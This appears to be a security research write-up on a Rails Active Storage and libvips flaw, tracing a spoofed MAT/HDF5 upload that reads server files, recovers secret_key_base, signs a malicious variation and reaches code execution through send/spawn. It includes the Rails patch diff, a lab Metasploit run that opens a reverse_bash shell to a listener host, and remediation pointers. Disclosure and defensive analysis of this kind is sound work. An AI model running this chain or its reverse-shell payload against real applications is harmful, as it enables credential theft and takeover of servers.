At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.
The Vips pipeline leaves decoder selection to libvips
Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:
def process(file, format:)
processor.
source(file).
loader(page: 0). # <-- [8]
convert(format).
apply(operations). # <-- [9]
call
end
def processor
ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
transformations.each_with_object([]) do |(name, argument), list|
if ActiveStorage.variant_processor == :mini_magick
validate_transformation(name, argument) # <-- [10]
end
if name.to_s == "combine_options"
raise ArgumentError, <<~ERROR.squish
Active Storage's ImageProcessing transformer doesn't support :combine_options,
as it always generates a single command.
ERROR
end
if argument.present?
list << [ name, argument ] # <-- [11]
end
end
end
At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.
In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:
def self.load_image(path_or_image, loader: nil, autorot: true, **options)
if path_or_image.is_a?(::Vips::Image)
image = path_or_image
else
path = path_or_image
if loader
image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
else
options = Utils.select_valid_loader_options(path, options)
image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
end
end
image = image.autorot if autorot && !options.key?(:autorotate)
image
end
Because loader: remains nil, [12] leaves decoder selection to libvips's file sniffers.
libvips and libmatio disagree about the MAT header
In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:
At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader's sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.
In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:
At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.
At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.
HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:
Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.
The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.
Why variants are not required
A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails's forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.
Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.
Why the patch works
The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:
diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+ begin
+ # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+ # before the lines below. Leaving it to load later, when the transformer first asks for it,
+ # would disable the loaders again after an application's initializers had re-enabled them.
+ require "image_processing/vips"
+ rescue LoadError
+ # image_processing is only needed to generate variants, not to analyze blobs.
+ end
+
+ unless Vips.respond_to?(:block_untrusted) # <-- [20]
+ raise <<~ERROR.squish
+ libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+ cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+ later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+ ERROR
+ end
+
+ Vips.block_untrusted(true) # <-- [21]
+end
Active Storage's engine loads the Vips analyzer during initialization, so the new require "active_storage/vips" runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.
From file read to code execution
The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.
Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:
In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:
def apply(operations)
operations.inject(self) do |builder, (name, argument)|
if argument == true || argument == nil
builder.public_send(name)
elsif argument.is_a?(Array)
builder.public_send(name, *argument) # <-- [22]
elsif argument.is_a?(Hash)
builder.public_send(name, **argument)
else
builder.public_send(name, argument)
end
end
end
At [22], a transformation named send reaches the builder's public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.
This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.
The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.
Exploitation
Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.
The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.
In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:
msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened
msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)
The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.
Ethiack's published 1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.
Remediation
For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.